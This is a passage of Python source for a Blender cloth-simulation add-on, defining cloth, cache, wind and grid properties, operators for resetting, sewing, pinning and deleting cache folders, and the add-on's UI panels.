update=cb_dense)\n\n    quad_bend:\\\n    bpy.props.BoolProperty(name=\"Quad Bend Springs\", description=\"Calculate bend springs on a bmesh with joined triangles\", default=False, update=cb_quad_bend)\n\n    # Sewing\n    sew_force:\\\n    bpy.props.FloatProperty(name=\"Sew Force\", description=\"Shrink Sew Edges\", default=0.1, min=0, max=1, soft_min= -100, soft_max=100, precision=3)\n\n    # Sewing\n    target_sew_length:\\\n    bpy.props.FloatProperty(name=\"Target Sew Length\", description=\"Shrink Sew Edges to this Length\", default=0.0, min=0, precision=3)\n\n    surface_follow_selection_only:\\\n    bpy.props.BoolProperty(name=\"Use Selected Faces\", description=\"Bind only to selected faces\", default=False)\n\n    # Vertex Groups\n    vg_pin:\\\n    bpy.props.FloatProperty(name=\"Pin\", description=\"Pin Vertex Group\", default=0, min=0, max=1, soft_min= -2, soft_max=2, precision=3)\n\n    vg_drag:\\\n    bpy.props.FloatProperty(name=\"Drag\", description=\"Drag Vertex Group\", default=0, min=0, max=1, soft_min= -2, soft_max=2, precision=3)\n\n    vg_surface_follow:\\\n    bpy.props.FloatProperty(name=\"Surface Follow\", description=\"Surface Follow Vertex Group\", default=0, min=0, max=1, soft_min= -2, soft_max=2, precision=3)\n\n    # Edit Mode\n    cloth_grab:\\\n    bpy.props.BoolProperty(name=\"Cloth Grab\", description=\"Only move cloth during modal grab\", default=False)\n\n    # Cache\n    cache:\\\n    bpy.props.BoolProperty(name=\"Cloth Cache\", description='Cache animation when running \"Animated\" or \"Continuous\"', default=False, update=cb_cache)\n\n    cache_only:\\\n    bpy.props.BoolProperty(name=\"Cache Only\", description='Cache vertex coordinates for an evaluated mesh without generating cloth data', default=False, update=cb_cache_only)\n\n    overwrite_cache:\\\n    bpy.props.BoolProperty(name=\"Overwrite Cache\", description=\"Save over existing frames\", default=False)\n\n    internal_cache:\\\n    bpy.props.BoolProperty(name=\"Internal Cache\", description=\"Save cache in blend file\", default=False)\n\n    cache_desktop:\\\n    bpy.props.BoolProperty(name=\"Cache To Desktop\", description='Save the cache files to desktop to they are easy to find', update=cb_cache)\n\n    cache_interpolation:\\\n    bpy.props.BoolProperty(name=\"Cache Interpolate\", description='Interpolate mesh shape between cached frames.', default=True, update=cb_cache)\n\n\n    # set the default path\n    if False:\n        path = bpy.data.filepath\n        if path == '':\n            path = os.path.expanduser(\"~/Desktop\")\n\n    path = os.path.expanduser(\"~/Desktop\")\n    mc_path = str(pathlib.Path(path).parent)#.joinpath('MC_cache_files')\n\n    cache_folder:\\\n    bpy.props.StringProperty(name=\"Cache Folder\", description=\"Directory for saving cache files\", default=mc_path, update=cb_cache)\n\n    cache_name:\\\n    bpy.props.StringProperty(name=\"Custom Name\", description=\"Custom name for saving multiple cache files\", default=\"Mr. Purrkins The Deadly Cyborg Kitten\", update=cb_cache)\n\n    play_cache:\\\n    bpy.props.BoolProperty(name=\"Play Cache\", description=\"Play the cached animation\", default=False, update=cb_cache_playback)\n\n    start_frame:\\\n    bpy.props.IntProperty(name=\"Start Frame\", description=\"Start cache on this frame\", default=1)#, update=cb_cache)\n\n    end_frame:\\\n    bpy.props.IntProperty(name=\"End Frame\", description=\"End cache on this frame\", default=250)#, update=cb_cache)\n\n    current_cache_frame:\\\n    bpy.props.IntProperty(name=\"End Frame\", description=\"End cache on this frame\", default=1, update=cb_current_cache_frame)\n\n    cloth_off:\\\n    bpy.props.BoolProperty(name=\"Cloth Off\", description=\"Mesh Keyframe Only: No cloth behavior\", default=False)#, update=cb_cache)\n\n    cache_force:\\\n    bpy.props.FloatProperty(name=\"Cache Force\", description=\"Target the cached value as a force\", default=1.0, min=0, max=1, soft_min= -100, soft_max=100, precision=3)\n\n    # record\n    record:\\\n    bpy.props.BoolProperty(name=\"Cloth Record\", description=\"Record changes when 'Continuous'\", default=False)\n\n    max_frames:\\\n    bpy.props.IntProperty(name=\"Max Frames\", description=\"Record this many\", default=1000)#, update=cb_cache)\n\n\n    # extras ------->>>\n    # Wind. Note, wind should be measured against normal and be at zero when normals are at zero. Squared should work\n    wind_x:\\\n    bpy.props.FloatProperty(name=\"Wind X\", \n        description=\"Not the window cleaner\", \n        default=0, precision=4)#, update=refresh_noise_decay)\n\n    wind_y:\\\n    bpy.props.FloatProperty(name=\"Wind Y\", \n        description=\"Y? Because wind is cool\", \n        default=0, precision=4)#, update=refresh_noise_decay)\n\n    wind_z:\\\n    bpy.props.FloatProperty(name=\"Wind Z\", \n        description=\"It's windzee outzide\", \n        default=0, precision=4)#, update=refresh_noise_decay)\n\n    turbulence:\\\n    bpy.props.FloatProperty(name=\"Wind Turbulence\", \n        description=\"Add Randomness to wind strength\", \n        default=.5, precision=4)#, update=refresh_noise_decay)\n\n    random_direction:\\\n    bpy.props.FloatProperty(name=\"Wind Turbulence\", \n        description=\"Add randomness to wind direction\", \n        default=.5, precision=4)#, update=refresh_noise_decay)\n\n    inflate:\\\n    bpy.props.FloatProperty(name=\"inflate\", \n        description=\"add force to vertex normals\", \n        default=0, precision=4)\n\n    # Grid tools ------->>>\n    grid_angle_limit:\\\n    bpy.props.FloatProperty(name=\"Grid Angle Limit\", \n        description=\"Preserve points with angles sharper than this\", \n        default=20, soft_min=0, soft_max=180, precision=1, update=cb_grid)\n    \n    grid_size:\\\n    bpy.props.FloatProperty(name=\"Grid Size\", \n        description=\"spacing of points in grid\", \n        default=0.1, soft_min=0.01, precision=3, update=cb_grid)    \n\n    grid_triangles:\\\n    bpy.props.BoolProperty(name=\"Grid Triangles\", \n        description=\"Use Triangles\", \n        default=True, update=cb_grid)\n\n    grid_merge_dist:\\\n    bpy.props.FloatProperty(name=\"Edge Search Dist\", \n        description=\"How far to look for edges when filling border.\", \n        default=1.1, soft_min=0.5, soft_max=2, precision=3, update=cb_grid)    \n        \n    grid_smoothing:\\\n    bpy.props.IntProperty(name=\"Inner Smoothing\", \n        description=\"Smooth the layout of the grid after filling border.\", \n        default=10, soft_min=3, soft_max=50, update=cb_grid)\n        \n    grid_debug_idx:\\\n    bpy.props.IntProperty(name=\"debug\", \n        description=\"for debug\", \n        default=0, update=cb_grid)    \n        \n\n# create properties ----------------\n# scene:\nclass McPropsScene(bpy.types.PropertyGroup):\n\n    interference:\\\n    bpy.props.BoolProperty(name=\"interference\", description=\"Alien forces from outside this universe hijacked the cloth upsetting coordinates and velocity\", default=False)\n\n    kill_duplicator:\\\n    bpy.props.BoolProperty(name=\"kill duplicator/loader\", description=\"\", default=False, update=cb_duplicator)\n\n    pause_all:\\\n    bpy.props.BoolProperty(name=\"Pause All\", description=\"\", default=False, update=cb_pause_all)\n\n    play_all:\\\n    bpy.props.BoolProperty(name=\"Play all\", description=\"\", default=False, update=cb_play_all)\n\n    delay:\\\n    bpy.props.FloatProperty(name=\"Delay\", description=\"Slow down the continuous update\", default=0, min=0, max=100)\n\n    pause_selected:\\\n    bpy.props.BoolProperty(name=\"Cloth Grab\", description=\"Only move cloth during modal grab\", default=True)\n\n    run_editmode:\\\n    bpy.props.BoolProperty(name=\"Run Editmode\", description=\"Run cloth sim when in edit mode\", default=True)\n\n    view_virtual:\\\n    bpy.props.BoolProperty(name=\"View Virtual Springs\", description=\"create a mesh to show virtual springs\", default=False)\n    # make this one a child object that is not selectable.\n\n    update_shading:\\\n    bpy.props.BoolProperty(name=\"Update Shading in Edit Mode\", description=\"Bad for performance but keeps eevee shading updated\", default=False)\n    # make this one a child object that is not selectable.\n\n\n# ^                                                          ^ #\n# ^                     END properties                       ^ #\n# ============================================================ #\n\n\n# ============================================================ #\n#                    registered operators                      #\n#                                                              #\n\nclass MCResetToBasisShape(bpy.types.Operator):\n    \"\"\"Reset the cloth to basis shape\"\"\"\n    bl_idname = \"object.mc_reset_to_basis_shape\"\n    bl_label = \"MC Reset To Basis Shape\"\n    bl_options = {'REGISTER', 'UNDO'}\n    def execute(self, context):\n        ob = MC_data['recent_object']\n        if ob is None:\n            ob = bpy.context.object\n        cloth = get_cloth(ob)\n        if ob.data.is_editmode:\n            cloth.obm = bmesh.from_edit_mesh(ob.data)\n            ob.update_from_editmode()\n            Basis = cloth.obm.verts.layers.shape[\"Basis\"]\n            for v in cloth.obm.verts:\n                v.co = v[Basis]\n\n        reset_shapes(ob)\n        cloth.co = get_co_shape(ob, \"Basis\")\n        cloth.velocity[:] = 0\n        cloth.pin_arr[:] = cloth.co\n        cloth.feedback[:] = 0\n        cloth.select_start[:] = cloth.co\n\n        current_key = ob.data.shape_keys.key_blocks['MC_current']\n        current_key.data.foreach_set('co', cloth.co.ravel())\n        ob.data.update()\n        Collider(cloth)\n        refresh(cloth, skip=True)\n        return {'FINISHED'}\n\n\nclass MCResetSelectedToBasisShape(bpy.types.Operator):\n    \"\"\"Reset the selected verts to basis shape\"\"\"\n    bl_idname = \"object.mc_reset_selected_to_basis_shape\"\n    bl_label = \"MC Reset Selected To Basis Shape\"\n    bl_options = {'REGISTER', 'UNDO'}\n    def execute(self, context):\n        ob = MC_data['recent_object']\n        if ob is None:\n            ob = bpy.context.object\n        cloth = get_cloth(ob)\n        if ob.data.is_editmode:\n            Basis = cloth.obm.verts.layers.shape[\"Basis\"]\n            for v in cloth.obm.verts:\n                if v.select:\n                    v.co = v[Basis]\n\n        reset_shapes(ob)\n        bco = get_co_shape(ob, \"Basis\")\n        cloth.co[cloth.selected] = bco[cloth.selected]\n        cloth.pin_arr[cloth.selected] = bco[cloth.selected]\n        cloth.select_start[cloth.selected] = bco[cloth.selected]\n        cloth.feedback[cloth.selected] = 0\n\n        bco[~cloth.selected] = cloth.co[~cloth.selected]\n        ob.data.shape_keys.key_blocks['MC_current'].data.foreach_set('co', bco.ravel())\n        ob.data.update()\n\n        return {'FINISHED'}\n\n\nclass GridFromPolyline(bpy.types.Operator):\n    \"\"\"Generate a grid inside a polyline\"\"\"\n    bl_idname = \"object.grid_from_polyline\"\n    bl_label = \"MC Grid From Polyline\"\n    bl_options = {'REGISTER', 'UNDO'}\n    def execute(self, context):\n        cb_grid(self, context)\n        return {'FINISHED'}\n    \n\nclass MCRefreshVertexGroups(bpy.types.Operator):\n    \"\"\"Refresh Vertex Group Weights To Cloth Settings\"\"\"\n    bl_idname = \"object.mc_refresh_vertex_groups\"\n    bl_label = \"MC Refresh Vertex Groups\"\n    bl_options = {'REGISTER', 'UNDO'}\n    def execute(self, context):\n        ob = MC_data['recent_object']\n        if ob is None:\n            ob = bpy.context.object\n        cloth = get_cloth(ob)\n        refresh(cloth)\n        return {'FINISHED'}\n\n\nclass MCSurfaceFollow(bpy.types.Operator):\n    \"\"\"Connect points to nearest surface\"\"\"\n    bl_idname = \"object.mc_surface_follow\"\n    bl_label = \"MC Surface Follow\"\n    bl_options = {'REGISTER', 'UNDO'}\n    def execute(self, context):\n\n        active = bpy.context.object\n        if active is None:\n            msg = \"Must have an active mesh\"\n            bpy.context.window_manager.popup_menu(oops, title=msg, icon='ERROR')\n            return {'FINISHED'}\n\n        if active.type != 'MESH':\n            msg = \"Active object must be a mesh\"\n            bpy.context.window_manager.popup_menu(oops, title=msg, icon='ERROR')\n            return {'FINISHED'}\n\n        if not active.data.polygons:\n            msg = \"Must have at least one face in active mesh\"\n            bpy.context.window_manager.popup_menu(oops, title=msg, icon='ERROR')\n            return {'FINISHED'}\n\n        cloths = [i for i in bpy.data.objects if ((i.MC_props.cloth) & (i is not active) & (i.select_get()))]\n        if not cloths:\n            msg = \"Must select at least one cloth object and an active object to bind to\"\n            bpy.context.window_manager.popup_menu(oops, title=msg, icon='ERROR')\n            return {'FINISHED'}\n\n        # writes to cloth instance\n        create_surface_follow_data(active, cloths)\n\n        return {'FINISHED'}\n\n\nclass MCCreateSewLines(bpy.types.Operator):\n    \"\"\"Create sew lines between sets of points\"\"\"\n    bl_idname = \"object.mc_create_sew_lines\"\n    bl_label = \"MC Create Sew Lines\"\n    bl_options = {'REGISTER', 'UNDO'}\n    def execute(self, context):\n        ob = MC_data['recent_object']\n        if ob is None:\n            ob = bpy.context.object\n\n        cloth = MC_data['cloths'][ob['MC_cloth_id']]\n    \n        if ob.data.is_editmode:        \n            bpy.ops.mesh.bridge_edge_loops()\n            bpy.ops.mesh.delete(type='ONLY_FACE')\n\n        return {'FINISHED'}\n\n\nclass MCSewToSurface(bpy.types.Operator):\n    \"\"\"Draw a line on the surface and sew to it\"\"\"\n    bl_idname = \"object.mc_sew_to_surface\"\n    bl_label = \"MC Create Surface Sew Line\"\n    bl_options = {'REGISTER', 'UNDO'}\n    def execute(self, context):\n        ob = MC_data['recent_object']\n        if ob is None:\n            ob = bpy.context.object\n\n        #mode = ob.mode\n        #if ob.data.is_editmode:\n            #bpy.ops.object.mode_set(mode='OBJECT')\n\n        cloth = MC_data['cloths'][ob['MC_cloth_id']]\n\n        #bco = get_co_shape(ob, \"Basis\")\n\n        #bpy.ops.object.mode_set(mode=mode)\n        #ob.data.update()\n        return {'FINISHED'}\n\n\n# !!! can't undo delete cache or keyframe.\nclass MCDeleteCache(bpy.types.Operator):\n    \"\"\"Delete cache folder for current object\"\"\"\n    bl_idname = \"object.mc_delete_cache\"\n    bl_label = \"Really delete this folder and its contents?\"\n    bl_options = {'REGISTER', 'UNDO'}\n\n\n    def __init__(self):\n        print(\"ran this class method thingy\")\n\n        ob = MC_data['recent_object']\n        if ob is None:\n            ob = bpy.context.object\n\n        if ob.MC_props.cloth:\n            cloth = MC_data['cloths'][ob['MC_cloth_id']]\n\n            path = pathlib.Path(ob.MC_props.cache_folder).joinpath('MC_cache_files')\n            current = path.joinpath(ob.MC_props.cache_name)\n\n        msg = 'Really delete ' + str(current) + ' and its contents?'\n\n    @classmethod\n    def poll(cls, context):\n        return True\n\n    def invoke(self, context, event):\n        self.bl_label = \"Object: {0}\".format(context.active_object.name)\n\n        return context.window_manager.invoke_confirm(self, event)\n\n    def execute(self, context):\n\n        ob = MC_data['recent_object']\n        if ob is None:\n            ob = bpy.context.object\n        cloth = MC_data['cloths'][ob['MC_cloth_id']]\n\n        path = pathlib.Path(ob.MC_props.cache_folder).joinpath('MC_cache_files')\n        current = path.joinpath(ob.MC_props.cache_name)\n\n        if os.path.exists(current):\n            shutil.rmtree(current, ignore_errors=True)\n            ob.MC_props['cache'] = False\n            ob.MC_props['play_cache'] = False\n\n            msg = 'Deleted ' + str(current) + ' and its contents.'\n            bpy.context.window_manager.popup_menu(oops, title=msg, icon='ERROR')\n\n            return {'FINISHED'}\n\n        msg = 'Could not delete ' + str(current) + '. No such file'\n        bpy.context.window_manager.popup_menu(oops, title=msg, icon='ERROR')\n\n        return {'FINISHED'}\n\n\nclass MCCreateMeshKeyframe(bpy.types.Operator):\n    \"\"\"Create a linear path between cache files\"\"\"\n    bl_idname = \"object.mc_mesh_keyframe\"\n    bl_label = \"MC Create Mesh Keyframe\"\n    bl_options = {'REGISTER', 'UNDO'}\n    def execute(self, context):\n        ob = MC_data['recent_object']\n        if ob is None:\n            ob = bpy.context.object\n        cloth = MC_data['cloths'][ob['MC_cloth_id']]\n        print(\"Will create mesh cache keyframe... Some day. Sigh...\")\n        cloth.co = get_co_mode(ob)\n        overwrite = ob.MC_props.overwrite_cache\n        ob.MC_props.overwrite_cache = True\n        cache(cloth, keying=True)\n        ob.MC_props.overwrite_cache = overwrite\n\n        return {'FINISHED'}\n\n\nclass MCRemoveMeshKeyframe(bpy.types.Operator):\n    \"\"\"Remove mesh keyframe at current frame\"\"\"\n    bl_idname = \"object.mc_remove_keyframe\"\n    bl_label = \"MC Remove Mesh Keyframe\"\n    bl_options = {'REGISTER', 'UNDO'}\n    def execute(self, context):\n        ob = MC_data['recent_object']\n        if ob is None:\n            ob = bpy.context.object\n        cloth = MC_data['cloths'][ob['MC_cloth_id']]\n        print(\"Will remove mesh cache keyframe... Some day. Sigh...\")\n\n        return {'FINISHED'}\n\n\nclass MCCreateVirtualSprings(bpy.types.Operator):\n    \"\"\"Create Virtual Springs Between Selected Verts\"\"\"\n    bl_idname = \"object.mc_create_virtual_springs\"\n    bl_label = \"MC Create Virtual Springs\"\n    bl_options = {'REGISTER', 'UNDO'}\n    def execute(self, context):\n        ob = MC_data['recent_object']\n        if ob is None:\n            ob = bpy.context.object\n\n        cloth = get_cloth(ob)\n        obm = cloth.obm\n        verts = np.array([v.index for v in obm.verts if v.select])\n        cloth.virtual_spring_verts = verts\n        virtual_springs(cloth)\n\n        return {'FINISHED'}\n\n\nclass MCApplyForExport(bpy.types.Operator):\n    # !!! Not Finished !!!!!!\n    \"\"\"Apply cloth effects to mesh for export.\"\"\"\n    bl_idname = \"object.MC_apply_for_export\"\n    bl_label = \"MC Apply For Export\"\n    bl_options = {'REGISTER', 'UNDO'}\n    def execute(self, context):\n        ob = get_last_object()[1]\n        v_count = len(ob.data.vertices)\n        co = np.zeros(v_count * 3, dtype=np.float32)\n        ob.data.shape_keys.key_blocks['modeling cloth key'].data.foreach_get('co', co)\n        ob.data.shape_keys.key_blocks['Basis'].data.foreach_set('co', co)\n        ob.data.shape_keys.key_blocks['Basis'].mute = True\n        ob.data.shape_keys.key_blocks['Basis'].mute = False\n        ob.data.vertices.foreach_set('co', co)\n        ob.data.update()\n\n        return {'FINISHED'}\n\n\nclass MCVertexGroupPin(bpy.types.Operator):\n    \"\"\"Add Selected To Pin Vertex Group\"\"\"\n    bl_idname = \"object.mc_vertex_group_pin\"\n    bl_label = \"MC Vertex Group Pin\"\n    bl_options = {'REGISTER', 'UNDO'}\n    def execute(self, context):\n        ob = MC_data['recent_object']\n        if ob is None:\n            ob = bpy.context.object\n\n        cloth = MC_data['cloths'][ob['MC_cloth_id']]\n\n        return {'FINISHED'}\n    \n    \nclass PinSelected(bpy.types.Operator):\n    \"\"\"Add pins to verts selected in edit mode\"\"\"\n    bl_idname = \"object.modeling_cloth_pin_selected\"\n    bl_label = \"Modeling Cloth Pin Selected\"\n    bl_options = {'REGISTER', 'UNDO'}    \n    def execute(self, context):\n        ob = bpy.context.object\n        id = ob['MC_cloth_id']\n        cloth = get_cloth(ob)\n        if ob.data.is_editmode:    \n            ob.update_from_editmode()\n            ob.data.update()\n\n        idx = [i.index for i in ob.data.vertices if i.select]\n        aco = apply_transforms(cloth.ob, get_co_shape(cloth.ob, \"MC_current\"))\n        \n        for v in idx:    \n            e = bpy.data.objects.new('MC_pin', None)\n            bpy.context.collection.objects.link(e)\n            e.location = aco[v]\n            e.select_set(True)\n            e.MC_props.is_hook = True\n            e['MC_cloth_id'] = id\n            e.MC_props.hook_index = v\n     \n        bpy.context.view_layer.update()\n        return {'FINISHED'}\n\n\n# ^                                                          ^ #\n#                  END registered operators                    #\n# ============================================================ #\n\n\n# ============================================================ #\n#                         draw code                            #\n#                                                              #\nclass PANEL_PT_MC_Master(bpy.types.Panel):\n    \"\"\"MC Panel\"\"\"\n    bl_label = \"MC Master Panel\"\n    bl_idname = \"PANEL_PT_mc_master_panel\"\n    bl_space_type = 'VIEW_3D'\n    bl_region_type = 'UI'\n    bl_category = \"Extended Tools\"\n\n    @classmethod\n    def poll(cls, context):\n        ob = bpy.context.object\n        if ob is None:\n            return False\n\n        if ob.type != 'MESH':\n            if MC_data['recent_object'] is None:\n                return False\n            ob = MC_data['recent_object']\n\n        try: # if we delete the object then grab an empty\n            ob.name\n        except:\n            print(\"Cloth object was deleted\")\n            MC_data['recent_object'] = None\n            return False\n\n        return True\n\n    def __init__(self):\n        ob = bpy.context.object\n\n        if ob.type != 'MESH':\n            ob = MC_data['recent_object']\n\n        self.ob = ob\n        self.cloth = ob.MC_props.cloth\n\n\n# MAIN PANEL\nclass PANEL_PT_modelingClothMain(PANEL_PT_MC_Master, bpy.types.Panel):\n    \"\"\"Modeling Cloth Main\"\"\"\n    bl_label = \"MC Main\"\n    bl_idname = \"PANEL_PT_modeling_cloth_main\"\n    bl_space_type = 'VIEW_3D'\n    bl_region_type = 'UI'\n    bl_category = \"Extended Tools\"\n\n    def draw(self, context):\n        sc = bpy.context.scene\n        ob = self.ob\n        layout = self.layout\n        col = layout.column(align=True)\n        col.prop(sc.MC_props, \"kill_duplicator\", text=\"kill_duplicator\", icon='DUPLICATE')\n        col.prop(ob.MC_props, \"cache_only\", text=\"Cache Only\", icon='RENDER_ANIMATION')\n        col.prop(ob.MC_props, \"dense\", text=\"Dense Mesh\", icon='VIEW_ORTHO')\n        col.prop(ob.MC_props, \"quad_bend\", text=\"Quad Bend Springs\", icon='VIEW_PERSPECTIVE')\n\n        col = layout.column(align=True)\n        col.scale_y = 1.5\n        col.prop(ob.MC_props, \"collider\", text=\"Collide\", icon='MOD_PHYSICS')\n        if True:    \n            if ob.MC_props.collider:\n                row = col.row()\n                row.scale_y = 0.75\n                #row.label(icon='PROP_OFF')\n                row.prop(ob.MC_props, \"outer_margin\", text=\"Outer Margin\")#, icon='PROP_OFF')\n                row = col.row()\n                row.scale_y = 0.75\n                row.prop(ob.MC_props, \"inner_margin\", text=\"Inner Margin\")#, icon='PROP_OFF')\n                row = col.row()\n                row.scale_y = 0.75\n                #row.label(icon='PROP_OFF')\n                row.prop(ob.MC_props, \"oc_friction\", text=\"Friction\")#, icon='PROP_OFF')\n                row = col.row()\n                #col = layout.column(align=True)\n                row.scale_y = 0.75\n                #row.label(icon='PROP_CON')\n                row.prop(ob.MC_props, \"static_friction\", text=\"Static Friction\")#, icon='PROP_CON')\n        if ob.MC_props.cloth:\n            col.prop(ob.MC_props, \"self_collide\", text=\"Self Collision\", icon='FULLSCREEN_EXIT')\n            if ob.MC_props.self_collide:\n                row = col.row()\n                #col = layout.column(align=True)\n                row.scale_y = 0.75\n                row.label(icon='PROP_CON')\n                row.prop(ob.MC_props, \"self_collide_margin\", text=\"SC Margin\", icon='PROP_CON')\n                row = col.row()\n                row.label(icon='CON_PIVOT')\n                row.scale_y = 0.75            \n                row.prop(ob.MC_props, \"sc_friction\", text=\"Friction\", icon='CON_PIVOT')            \n                #row = col.row()\n                #row.label(icon='CON_PIVOT')            \n                #row.scale_y = 0.75            \n                #row.prop(ob.MC_props, \"sc_vel_damping\", text=\"Damping\", icon='CON_PIVOT')\n                row = col.row()\n                row.label(icon='CON_PIVOT')\n                row.scale_y = 0.75            \n                row.prop(ob.MC_props, \"self_collide_force\", text=\"SC Force\", icon='CON_PIVOT')\n                row = col.row()            \n                #row = col.row()\n            #col.prop(ob.MC_props, \"new_sc\", text=\"New Self Collision\", icon='FULLSCREEN_EXIT')\n            #if ob.MC_props.new_sc:\n                #row = col.row()\n                #col = layout.column(align=True)\n                #row.scale_y = 0.75\n                #row.label(icon='PROP_CON')\n                #row.prop(ob.MC_props, \"new_self_margin\", text=\"SC Margin\", icon='PROP_CON')\n                #row = col.row()\n                #row.label(icon='CON_PIVOT')\n                #row.scale_y = 0.75            \n                #row.prop(ob.MC_props, \"sc_friction\", text=\"Friction\", icon='CON_PIVOT')            \n                row = col.row()            \n                # show the box max for collision stuff\n                row.label(icon='CON_PIVOT')\n                row.scale_y = 0.75            \n                row.prop(ob.MC_props, \"sc_box_max\", text=\"Box Size\", icon='CON_PIVOT')\n\n\n            # use current mesh or most recent cloth object if current ob isn't mesh\n\n            # if we select a new mesh object we want it to display\n\n            col.prop(ob.MC_props, \"detangle\", text=\"Detangle\", icon='GRAPH')\n            col.prop(ob.MC_props, \"edge_collide\", text=\"Eadge Collide\", icon='NORMALS_VERTEX_FACE')\n            if False: # detanlge options    \n                if ob.MC_props.detangle:\n                    row = col.row()\n                    #col = layout.column(align=True)\n                    row.scale_y = 0.75\n                    row.label(icon='PROP_CON')\n                    row.prop(ob.MC_props, \"self_collide_margin\", text=\"SC Margin\", icon='PROP_CON')\n\n        col = layout.column(align=True)\n        col.scale_y = 1.5\n        # display the name of the object if \"cloth\" is True\n        #   so we know what object is the recent object\n        recent_name = ''\n        if ob.MC_props.cloth:\n            recent_name = ob.name\n\n        col.prop(ob.MC_props, \"cloth\", text=\"Cloth \" + recent_name, icon='MOD_CLOTH')\n        if ob.MC_props.cloth:\n            col.prop(ob.MC_props, \"detect_collisions\", text=\"Detect Collisions\", icon='LIGHT_AREA')\n\n            os_text = \"Override Settings\"\n            col.prop(ob.MC_props, \"override_settings\", text=os_text, icon='SORT_ASC')\n            col.prop(ob.MC_props, \"shrink_grow\", text=\"Shrink/Grow\", icon='FULLSCREEN_EXIT')\n            col.prop(ob.MC_props, \"wrap_force\", text=\"Wrap Force\", icon='MOD_SHRINKWRAP')\n\n            if ob.MC_props.override_settings:\n                row = col.row()\n                #col = layout.column(align=True)\n                row.scale_y = 0.75\n                #row.label(icon='PROP_CON')\n                row.prop(ob.MC_props, \"outer_margin\", text=\"Outer Margin\", icon='PROP_OFF')\n                row = col.row()\n                row.scale_y = 0.75\n                row.prop(ob.MC_props, \"inner_margin\", text=\"Inner Margin\", icon='PROP_OFF')\n                row = col.row()\n                row.scale_y = 0.75\n                #row.label(icon='PROP_OFF')\n                row.prop(ob.MC_props, \"oc_friction\", text=\"Friction\", icon='PROP_OFF')\n                row = col.row()\n                row.scale_y = 0.75\n                #row.label(icon='PROP_OFF')\n                row.prop(ob.MC_props, \"static_friction\", text=\"Static Friction\", icon='PROP_CON')\n\n\n            col.label(text='Update Mode')\n            col = layout.column(align=True)\n            row = col.row()\n            row.scale_y = 2\n            row.prop(ob.MC_props, \"continuous\", text=\"Continuous\", icon='FILE_REFRESH')\n            row = col.row()\n            row.scale_y = 2\n            row.prop(ob.MC_props, \"animated\", text=\"Animated\", icon='PLAY')\n            row = col.row()\n            row.scale_y = 1\n            row.prop(sc.MC_props, \"delay\", text=\"Delay\", icon='SORTTIME')\n            box = col.box()\n            box.scale_y = 2\n            box.operator('object.mc_reset_to_basis_shape', text=\"RESET\", icon='RECOVER_LAST')\n            box.operator('object.mc_reset_selected_to_basis_shape', text=\"RESET SELECTED\", icon='RECOVER_LAST')\n            if ob.data.is_editmode:\n                box.operator('object.mc_refresh_vertex_groups', text=\"V-group Refresh\", icon='GROUP_VERTEX')\n            box.operator('object.modeling_cloth_pin_selected', text=\"Hook Selected\", icon='HOOK')\n            col = layout.column(align=True)\n            col.use_property_decorate = True\n            col.label(text='Target Object')\n            col.prop(ob.MC_props, \"target\", text=\"\", icon='DUPLICATE')\n\n\n# CACHE PANEL\nclass PANEL_PT_modelingClothCache(PANEL_PT_MC_Master, bpy.types.Panel):\n    \"\"\"Modeling Cloth Cache\"\"\"\n    bl_label = \"MC Cache\"\n    bl_idname = \"PANEL_PT_modeling_cloth_cache\"\n    bl_space_type = 'VIEW_3D'\n    bl_region_type = 'UI'\n    bl_category = \"Extended Tools\"\n\n    def draw(self, context):\n        sc = bpy.context.scene\n        layout = self.layout\n        col = layout.column(align=True)\n        ob = self.ob\n\n        if ob.MC_props.cloth:\n            try:                \n                cloth = get_cloth(ob)\n            except:\n                return\n                #reload_from_save()\n                #cloth = get_cloth(ob)\n            \n            col = layout.column(align=True)\n            box = col.box()\n            bcol = box.column()\n\n            bcol.prop(ob.MC_props, \"cache\", text=\"Record\", icon='RENDER_ANIMATION')\n            bcol.prop(ob.MC_props, \"max_frames\")\n            bcol.prop(ob.MC_props, \"overwrite_cache\", text=\"Overwrite\", icon='FILE_REFRESH')\n            bcol.prop(ob.MC_props, \"internal_cache\", text=\"Pack\", icon='NORMALIZE_FCURVES')\n            bcol = box.column()\n            bcol.scale_y = 1.5\n            bcol.operator('object.mc_delete_cache', text=\"Delete Cache\", icon='KEY_HLT')\n            bcol = box.column()\n            bcol.label(text=\"Cache Foder\")\n            bcol.prop(ob.MC_props, \"cache_folder\", text=\"\")\n            bcol.label(text=\"Custom Name\")\n            bcol.prop(ob.MC_props, \"cache_name\", text=\"\")\n            bcol.prop(ob.MC_props, \"cache_desktop\", text=\"Use Desktop\")\n\n            #col.separator()\n            bcol = col.box().column()\n\n            bcol.label(text='Animate Mode')\n\n            #bcol.enabled = hasattr(cloth, 'cache_dir')\n            bcol.enabled = check_file_path(ob)[0]\n\n            bcol.prop(ob.MC_props, 'play_cache', text='Playback', icon='PLAY')\n            bcol.prop(ob.MC_props, 'cache_force', text='Influence', icon='SNAP_ON')\n            bcol.prop(ob.MC_props, 'current_cache_frame', text='Frame')#, icon='SNAP_ON')\n\n\n\n            #row = bcol.row()\n            #row.prop(ob.MC_props, \"start_frame\", text=\"\")\n            #row.prop(ob.MC_props, \"end_frame\", text=\"\")\n            #bcol.label(text='Continuous Mode')\n            #bcol.prop(ob.MC_props, \"record\", text=\"Record\", icon='REC')\n\n\n\n\n            folder = 'Cach=None'\n            if hasattr(cloth, 'cache_dir'):\n                fo = cloth.cache_dir\n                if os.path.exists(fo):\n                    folder = fo\n\n            col.separator()\n            box = col.box().column()\n            box.label(text='Mesh Keyframing')\n            box.prop(ob.MC_props, 'cloth_off', text='Cloth Off', icon='CANCEL')\n\n            box.separator()\n\n            frame = 'Key=None'\n\n            if hasattr(cloth, 'cache_dir'):\n                folder = cloth.cache_dir\n                if folder.exists():\n                    f = str(folder) + str(sc.frame_current)\n                    if os.path.exists(f):\n                        frame = 'Key=' + str(sc.frame_current)\n\n\n            box.operator('object.mc_mesh_keyframe', text=\"Keyframe Mesh\", icon='KEY_HLT')\n            box.label(text=frame)\n            box.operator('object.mc_remove_keyframe', text=\"Del Keyframe\", icon='KEY_DEHLT')\n\n\n\n            #col.separator()\n            #box = col.box().column()\n            #box.label(text='Record Continuous')\n            #box.prop(ob.MC_props, \"record\", text=\"Record\", icon='REC')\n            #box.prop(ob.MC_props, \"max_frames\")\n            #col.separator()\n            #box = col.box().column()\n            #box.label(text='Playback Mode')\n            #box.prop(ob.MC_props, 'play_cache', text='Playback', icon='PLAY')\n            #box.prop(ob.MC_props, 'cache_force', text='Influence', icon='SNAP_ON')\n\n\n# SEWING PANEL\nclass PANEL_PT_modelingClothSewing(PANEL_PT_MC_Master, 